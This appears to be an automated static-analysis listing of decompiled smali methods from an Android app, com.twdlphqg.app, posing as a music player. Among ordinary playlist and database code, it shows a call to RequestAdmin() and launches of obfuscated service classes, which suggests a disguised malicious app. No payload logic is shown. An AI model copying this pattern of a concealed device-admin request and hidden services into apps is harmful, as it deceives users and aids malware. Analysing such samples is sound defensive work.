11iput-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
12return-void
APIs
  • com.twdlphqg.app.dals.DB.<init>
  • com.twdlphqg.app.dals.DB.getWritableDatabase
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
2new-instance v0, Lcom/twdlphqg/app/dals/DB;
4invoke-direct {v0, p1}, Lcom/twdlphqg/app/dals/DB;-><init>(Landroid/content/Context;)V
5iput-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
7iget-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
9invoke-virtual {v0}, Lcom/twdlphqg/app/dals/DB;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
10move-result-object v0
11iput-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
12return-void
APIs
  • java.lang.Object.<init>
  • java.lang.Boolean.valueOf
Position Instruction Meta Information
0.param p1, "id" # I
1.param p2, "name" # Ljava/lang/String;
2.prologue
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5const/4 v0, 0x0
7invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
8move-result-object v0
9iput-object v0, p0, Lcom/twdlphqg/app/models/Playlist;->checked:Ljava/lang/Boolean;
10iput p1, p0, Lcom/twdlphqg/app/models/Playlist;->id:I
11iput-object p2, p0, Lcom/twdlphqg/app/models/Playlist;->name:Ljava/lang/String;
12return-void
APIs
  • com.twdlphqg.app.ExplorationActivity.RequestAdmin
  • com.twdlphqg.app.ExplorationActivity.snewxwrivv
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$2;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
4invoke-virtual {v0}, Lcom/twdlphqg/app/ExplorationActivity;->RequestAdmin()V
6iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity$2;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
8invoke-virtual {v0}, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrivv()V
9try_end_a: return-void
10catch_b: move-exception v0
11goto/16 :goto_a
APIs
  • java.util.ArrayList.remove
  • android.widget.ListView.invalidateViews
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
7iget-object v0, p0, Lcom/twdlphqg/app/TrackActivity;->list:Landroid/widget/ListView;
9invoke-virtual {v0}, Landroid/widget/ListView;->invalidateViews()V
10return-void
Cross References
APIs
  • java.util.ArrayList.add
  • com.twdlphqg.app.adapter.PlaylistAdapter.notifyDataSetChanged
Position Instruction Meta Information
0.param p1, "playlist" # Lcom/twdlphqg/app/models/Playlist;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
7iget-object v0, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
9invoke-virtual {v0}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->notifyDataSetChanged()V
10return-void
APIs
  • java.util.ArrayList.remove
  • com.twdlphqg.app.adapter.PlaylistAdapter.notifyDataSetChanged
Position Instruction Meta Information
0.param p1, "playlist" # Lcom/twdlphqg/app/models/Playlist;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
7iget-object v0, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
9invoke-virtual {v0}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->notifyDataSetChanged()V
10return-void
APIs
  • java.util.ArrayList.remove
  • android.widget.ListView.invalidateViews
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->tracks:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
7iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->list:Landroid/widget/ListView;
9invoke-virtual {v0}, Landroid/widget/ListView;->invalidateViews()V
10return-void
APIs
  • java.util.ArrayList.remove
  • com.twdlphqg.app.TouchInterceptor.invalidateViews
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
7iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
9invoke-virtual {v0}, Lcom/twdlphqg/app/TouchInterceptor;->invalidateViews()V
10return-void
APIs
  • android.os.Parcel.writeInt
  • android.os.Parcel.writeString
Position Instruction Meta Information
0.param p1, "dest" # Landroid/os/Parcel;
1.param p2, "flags" # I
2.prologue
3iget v0, p0, Lcom/twdlphqg/app/models/Artist;->id:I
5invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
7iget-object v0, p0, Lcom/twdlphqg/app/models/Artist;->artist:Ljava/lang/String;
9invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
10return-void
APIs
  • android.os.Parcel.writeInt
  • android.os.Parcel.writeString
Position Instruction Meta Information
0.param p1, "dest" # Landroid/os/Parcel;
1.param p2, "flags" # I
2.prologue
3iget v0, p0, Lcom/twdlphqg/app/models/Playlist;->id:I
5invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
7iget-object v0, p0, Lcom/twdlphqg/app/models/Playlist;->name:Ljava/lang/String;
9invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
10return-void
APIs
  • android.content.Intent.<init>
  • android.content.Context.startService
Position Instruction Meta Information
0.param p1, "snewxwric" # Landroid/content/Context;
1.param p2, "snewxwrii" # Landroid/content/Intent;
2.prologue
3new-instance p2, Landroid/content/Intent;
4const-class v0, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;
6invoke-direct {p2, p1, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
8invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
9return-void
APIs
  • java.util.ArrayList.set
  • com.twdlphqg.app.adapter.TabsPagerAdapter.notifyDataSetChanged
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "fragment" # Landroid/support/v4/app/Fragment;
2.prologue
4iget-object v0, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fragments:Ljava/util/ArrayList;
6invoke-virtual {v0, p1, p2}, Ljava/util/ArrayList;->set(ILjava/lang/Object;)Ljava/lang/Object;
8invoke-virtual {p0}, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->notifyDataSetChanged()V
9return-void
Cross References
APIs
  • java.lang.Object.<init>
  • android.content.Context.getContentResolver
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4iput-object p1, p0, Lcom/twdlphqg/app/dals/AlbumDal;->context:Landroid/content/Context;
6invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
7move-result-object v0
8iput-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->contentResolver:Landroid/content/ContentResolver;
9return-void
Cross References
APIs
  • java.lang.Object.<init>
  • android.content.Context.getContentResolver
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4iput-object p1, p0, Lcom/twdlphqg/app/dals/ArtistDal;->context:Landroid/content/Context;
6invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
7move-result-object v0
8iput-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->contentResolver:Landroid/content/ContentResolver;
9return-void
Cross References
APIs
  • java.lang.Object.<init>
  • java.lang.Boolean.valueOf
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3const/4 v0, 0x0
5invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
6move-result-object v0
7iput-object v0, p0, Lcom/twdlphqg/app/models/Playlist;->checked:Ljava/lang/Boolean;
8return-void
APIs
  • android.view.MenuItem.getItemId
  • com.twdlphqg.app.ActionBarParentActivity.onOptionsItemSelected
Position Instruction Meta Information
0.param p1, "item" # Landroid/view/MenuItem;
1.prologue
3invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
5invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
6move-result v0
7return v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onNewIntent
  • com.twdlphqg.app.SearchActivity.handleIntent
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
3invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onNewIntent(Landroid/content/Intent;)V
5invoke-direct {p0, p1}, Lcom/twdlphqg/app/SearchActivity;->handleIntent(Landroid/content/Intent;)V
6return-void
APIs
  • android.app.Service.onCreate
  • com.twdlphqg.app.conf.Rmlsgfvgbscu.snewxwriS
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4invoke-virtual {p0}, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;->snewxwriS()V
5return-void
Cross References
APIs
  • android.widget.ArrayAdapter.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "itemLayoutResource" # I
2.param p4, "fragmentManager" # Landroid/support/v4/app/FragmentManager;
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/content/Context;",
7"I",
8"Ljava/util/ArrayList",
9"<",
10"Lcom/twdlphqg/app/models/Playlist;",
11">;",
12"Landroid/support/v4/app/FragmentManager;",
13")V"
14}
15.end annotation
16.prologue
18invoke-direct {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;ILjava/util/List;)V
19iput p2, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->itemLayoutResource:I
20iput-object p1, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
21iput-object p3, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->playlists:Ljava/util/ArrayList;
22iput-object p4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->fragmentManager:Landroid/support/v4/app/FragmentManager;
23return-void
Cross References
APIs
  • android.widget.ArrayAdapter.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "itemLayoutResource" # I
2.param p4, "fragmentManager" # Landroid/support/v4/app/FragmentManager;
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/content/Context;",
7"I",
8"Ljava/util/ArrayList",
9"<",
10"Lcom/twdlphqg/app/models/Track;",
11">;",
12"Landroid/support/v4/app/FragmentManager;",
13")V"
14}
15.end annotation
16.prologue
18invoke-direct {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;ILjava/util/List;)V
19iput p2, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->itemLayoutResource:I
20iput-object p1, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
21iput-object p3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->tracks:Ljava/util/ArrayList;
22iput-object p4, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->fragmentManager:Landroid/support/v4/app/FragmentManager;
23return-void
Cross References
APIs
  • android.widget.ArrayAdapter.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "itemLayoutResource" # I
2.param p4, "fragmentManager" # Landroid/support/v4/app/FragmentManager;
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/content/Context;",
7"I",
8"Ljava/util/ArrayList",
9"<",
10"Lcom/twdlphqg/app/models/Track;",
11">;",
12"Landroid/support/v4/app/FragmentManager;",
13")V"
14}
15.end annotation
16.prologue
18invoke-direct {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;ILjava/util/List;)V
19iput p2, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->itemLayoutResource:I
20iput-object p1, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
21iput-object p3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->tracks:Ljava/util/ArrayList;
22iput-object p4, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->fragmentManager:Landroid/support/v4/app/FragmentManager;
23return-void
Cross References
APIs
  • android.support.v4.app.FragmentStatePagerAdapter.<init>
Position Instruction Meta Information
0.param p1, "fm" # Landroid/support/v4/app/FragmentManager;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/support/v4/app/FragmentManager;",
5"Ljava/util/ArrayList",
6"<",
7"Landroid/support/v4/app/Fragment;",
8">;",
9"Ljava/util/ArrayList",
10"<",
11"Ljava/lang/String;",
12">;)V"
13}
14.end annotation
15.prologue
17invoke-direct {p0, p1}, Landroid/support/v4/app/FragmentStatePagerAdapter;-><init>(Landroid/support/v4/app/FragmentManager;)V
18iput-object p2, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fragments:Ljava/util/ArrayList;
19iput-object p3, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->titles:Ljava/util/ArrayList;
20iput-object p1, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fm:Landroid/support/v4/app/FragmentManager;
21return-void
Cross References
APIs
  • android.widget.ArrayAdapter.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "itemLayoutResource" # I
2.annotation system Ldalvik/annotation/Signature;
3value = {
4"(",
5"Landroid/content/Context;",
6"I",
7"Ljava/util/ArrayList",
8"<",
9"Lcom/twdlphqg/app/models/Album;",
10">;)V"
11}
12.end annotation
13.prologue
15invoke-direct {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;ILjava/util/List;)V
16iput-object p1, p0, Lcom/twdlphqg/app/adapter/AlbumAdapter;->context:Landroid/content/Context;
17iput p2, p0, Lcom/twdlphqg/app/adapter/AlbumAdapter;->itemLayoutResource:I
18return-void
Cross References
APIs
  • android.widget.ArrayAdapter.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "itemLayoutResource" # I
2.annotation system Ldalvik/annotation/Signature;
3value = {
4"(",
5"Landroid/content/Context;",
6"I",
7"Ljava/util/ArrayList",
8"<",
9"Lcom/twdlphqg/app/models/Artist;",
10">;)V"
11}
12.end annotation
13.prologue
15invoke-direct {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;ILjava/util/List;)V
16iput-object p1, p0, Lcom/twdlphqg/app/adapter/ArtistAdapter;->context:Landroid/content/Context;
17iput p2, p0, Lcom/twdlphqg/app/adapter/ArtistAdapter;->itemLayoutResource:I
18return-void
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.myPointToPosition
Position Instruction Meta Information
0.param p1, "y" # I
1.prologue
2iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointY:I
3sub-int v2, p1, v2
4iget v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightHalf:I
5sub-int v0, v2, v3
6const/4 v2, 0x0
8invoke-direct {p0, v2, v0}, Lcom/twdlphqg/app/TouchInterceptor;->myPointToPosition(II)I
  • Data flow analysis:
    • p0: 0
9move-result v1
10if-ltz v1, :cond_16
11iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
12if-gt v1, v2, :cond_15
13add-int/lit8 v1, v1, 0x1
14cond_15: return v1
15cond_16: if-gez v0, :cond_15
16const/4 v1, 0x0
17goto/16 :goto_15
Cross References
APIs
  • android.support.v4.app.FragmentPagerAdapter.<init>
Position Instruction Meta Information
0.param p1, "fm" # Landroid/support/v4/app/FragmentManager;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/support/v4/app/FragmentManager;",
5"Ljava/util/ArrayList",
6"<",
7"Landroid/support/v4/app/Fragment;",
8">;)V"
9}
10.end annotation
11.prologue
13invoke-direct {p0, p1}, Landroid/support/v4/app/FragmentPagerAdapter;-><init>(Landroid/support/v4/app/FragmentManager;)V
14iput-object p2, p0, Lcom/twdlphqg/app/adapter/PagerAdapter;->fragments:Ljava/util/ArrayList;
15return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "id" # I
1.param p2, "title" # Ljava/lang/String;
2.param p3, "artist" # Ljava/lang/String;
3.param p4, "numberOfSongs" # I
4.param p5, "albumArt" # Ljava/lang/String;
5.prologue
7invoke-direct {p0}, Ljava/lang/Object;-><init>()V
8iput p1, p0, Lcom/twdlphqg/app/models/Album;->id:I
9iput-object p2, p0, Lcom/twdlphqg/app/models/Album;->title:Ljava/lang/String;
10iput-object p3, p0, Lcom/twdlphqg/app/models/Album;->artist:Ljava/lang/String;
11iput p4, p0, Lcom/twdlphqg/app/models/Album;->numberOfSongs:I
12iput-object p5, p0, Lcom/twdlphqg/app/models/Album;->albumArt:Ljava/lang/String;
13return-void
Cross References
APIs
  • android.media.MediaPlayer.isPlaying
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
4invoke-virtual {v0}, Landroid/media/MediaPlayer;->isPlaying()Z
5move-result v0
6if-eqz v0, :cond_a
7const/4 v0, 0x1
8goto_9: return v0
9cond_a: const/4 v0, 0x0
10goto/16 :goto_9
Cross References
APIs
  • android.content.ContentResolver.delete
Position Instruction Meta Information
0.param p1, "uri" # Landroid/net/Uri;
1.param p2, "where" # Ljava/lang/String;
2.prologue
4iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
5const/4 v1, 0x0
7invoke-virtual {v0, p1, p2, v1}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p2: 0
8move-result v0
9return v0
APIs
  • android.view.LayoutInflater.inflate
Position Instruction Meta Information
0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v1, 0x7f03001e
5const/4 v2, 0x0
7invoke-virtual {p1, v1, p2, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903070
    • attachToRoot: 0
8move-result-object v0
9return-object v0
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3const/4 v0, 0x0
4iput v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
5new-instance v0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;
7invoke-direct {v0, p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;-><init>(Lcom/twdlphqg/app/fragments/TrackInQueueFragment;)V
8iput-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->dropListener:Lcom/twdlphqg/app/TouchInterceptor$DropListener;
9return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.param p2, "drawableResources" # I
2.param p3, "uid" # I
3.prologue
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6iput-object p1, p0, Lcom/twdlphqg/app/models/MenuItem;->name:Ljava/lang/String;
7iput p2, p0, Lcom/twdlphqg/app/models/MenuItem;->drawableResources:I
8iput p3, p0, Lcom/twdlphqg/app/models/MenuItem;->uid:I
9return-void
Cross References
APIs
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "position" # I
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/adapter/PagerAdapter;->fragments:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
6move-result-object v0
7check-cast v0, Landroid/support/v4/app/Fragment;
8return-object v0
Cross References
APIs
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "position" # I
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fragments:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
6move-result-object v0
7check-cast v0, Landroid/support/v4/app/Fragment;
8return-object v0
APIs
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "position" # I
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->titles:Ljava/util/ArrayList;
5invoke-virtual {v0, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
6move-result-object v0
7check-cast v0, Ljava/lang/CharSequence;
8return-object v0
APIs
  • android.os.Handler.removeCallbacks
Position Instruction Meta Information
0.param p1, "seekBar" # Landroid/widget/SeekBar;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->handler:Landroid/os/Handler;
5iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity;->updateTime:Ljava/lang/Runnable;
7invoke-virtual {v0, v1}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
8return-void
Cross References
APIs
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->handler:Landroid/os/Handler;
4iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity;->updateTime:Ljava/lang/Runnable;
5const-wide/16 v2, 0x64
7invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 100
8return-void
Cross References
APIs
  • android.database.sqlite.SQLiteDatabase.close
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
3if-eqz v0, :cond_9
5iget-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
7invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->close()V
8cond_9: return-void
Cross References
APIs
  • android.database.sqlite.SQLiteDatabase.close
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
3if-eqz v0, :cond_9
5iget-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
7invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->close()V
8cond_9: return-void
Cross References
APIs
  • android.database.sqlite.SQLiteDatabase.close
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
3if-eqz v0, :cond_9
5iget-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
7invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->close()V
8cond_9: return-void
Cross References
APIs
  • android.content.ContentResolver.insert
Position Instruction Meta Information
0.param p1, "uri" # Landroid/net/Uri;
1.param p2, "values" # Landroid/content/ContentValues;
2.prologue
4iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
6invoke-virtual {v0, p1, p2}, Landroid/content/ContentResolver;->insert(Landroid/net/Uri;Landroid/content/ContentValues;)Landroid/net/Uri;
7move-result-object v0
8return-object v0
Cross References
APIs
  • android.widget.ArrayAdapter.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "resource" # I
2.param p3, "objects" # [Ljava/lang/String;
3.prologue
5invoke-direct {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;I[Ljava/lang/Object;)V
6iput-object p1, p0, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;->context:Landroid/content/Context;
7return-void
APIs
  • android.support.v4.app.FragmentStatePagerAdapter.setPrimaryItem
Position Instruction Meta Information
0.param p1, "container" # Landroid/view/ViewGroup;
1.param p2, "position" # I
2.param p3, "object" # Ljava/lang/Object;
3.prologue
4const/4 v0, 0x0
6invoke-super {p0, p1, v0, p3}, Landroid/support/v4/app/FragmentStatePagerAdapter;->setPrimaryItem(Landroid/view/ViewGroup;ILjava/lang/Object;)V
  • Data flow analysis:
    • p1: 0
7return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "id" # I
1.param p2, "artist" # Ljava/lang/String;
2.prologue
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5iput p1, p0, Lcom/twdlphqg/app/models/Artist;->id:I
6iput-object p2, p0, Lcom/twdlphqg/app/models/Artist;->artist:Ljava/lang/String;
7return-void
APIs
  • com.twdlphqg.app.services.Ryiidrxcjmfb.snewxwricc
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$1;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
4invoke-virtual {v0}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwricc()V
5goto_5: return-void
6catch_6: move-exception v0
7goto/16 :goto_5
APIs
  • java.util.ArrayList.size
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/adapter/PagerAdapter;->fragments:Ljava/util/ArrayList;
4invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
5move-result v0
6return v0
APIs
  • java.util.ArrayList.size
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fragments:Ljava/util/ArrayList;
4invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
5move-result v0
6return v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
2iput p2, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->val$index:I
3iput-object p3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->val$toastTimeout:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
2iput p2, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->val$index:I
3iput-object p3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->val$toastTimeout:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateContextMenu
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/ContextMenu;
1.param p2, "v" # Landroid/view/View;
2.param p3, "menuInfo" # Landroid/view/ContextMenu$ContextMenuInfo;
3.prologue
5invoke-super {p0, p1, p2, p3}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateContextMenu(Landroid/view/ContextMenu;Landroid/view/View;Landroid/view/ContextMenu$ContextMenuInfo;)V
6return-void
APIs
  • android.support.v4.app.DialogFragment.onAttach
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/DialogFragment;->onAttach(Landroid/app/Activity;)V
4check-cast p1, Lcom/twdlphqg/app/interfaces/CustomSelectTrackDialogComunicator;
5iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomSelectTrackDialogComunicator;
6return-void
APIs
  • android.support.v4.app.Fragment.onCreateContextMenu
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/ContextMenu;
1.param p2, "v" # Landroid/view/View;
2.param p3, "menuInfo" # Landroid/view/ContextMenu$ContextMenuInfo;
3.prologue
